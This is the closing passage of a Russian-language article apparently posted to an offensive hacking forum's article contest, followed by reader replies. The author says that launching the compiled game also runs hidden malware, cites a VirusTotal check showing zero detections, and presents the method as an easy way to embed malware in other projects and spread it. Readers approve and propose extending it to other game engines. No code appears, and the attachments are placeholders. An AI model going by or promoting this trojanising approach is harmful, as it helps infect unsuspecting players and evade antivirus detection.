Посмотреть вложение 102117
После компиляции игры у нас будет два файла. Собственно говоря, просто запускаем exe файл, и в итоге у нас запустится игра и малварь в том числе.
Посмотреть вложение 102118
А что же по детектам? А ничего, их просто напросто нет и не будет
Детекты
Ссылка на VirusTotal - https://www.virustotal.com/gui/file/3704990acd39d295419cf23d64f69be55628022a3a1e442065ffd05594a1e358
Посмотреть вложение 102119
Итоги статьиНа этом статья подходит к своему заключению и что же мы имеем по итогу?
Малварь с нулевыми детектами.
Простой способ встраивания малваря в различные сторонние проекты.
Легкий и эффективный способ распространения для самых маленьких.
Ну и пожалуй на этом все, спасибо всем кто дочитал данную статью, надеюсь она вам понравилась.
Разработано специально для конкурса статей на форуме xss.pro
а кстати не плоха идея то) надо загуглить все движки игровые и на каждом сделать)))В теории,это вообще не паханое поле,ТС ждём от тебя статью про малварь на GML . (Game maker) ))
надеюсь ты не забыл поучавствовать в голосовании и проголосовать за тех кто тебе понравился?В теории,это вообще не паханое поле,ТС ждём от тебя статью про малварь на GML . (Game maker) ))
так ты мне и не писал вродьКак связаться с автором? в лс не ответил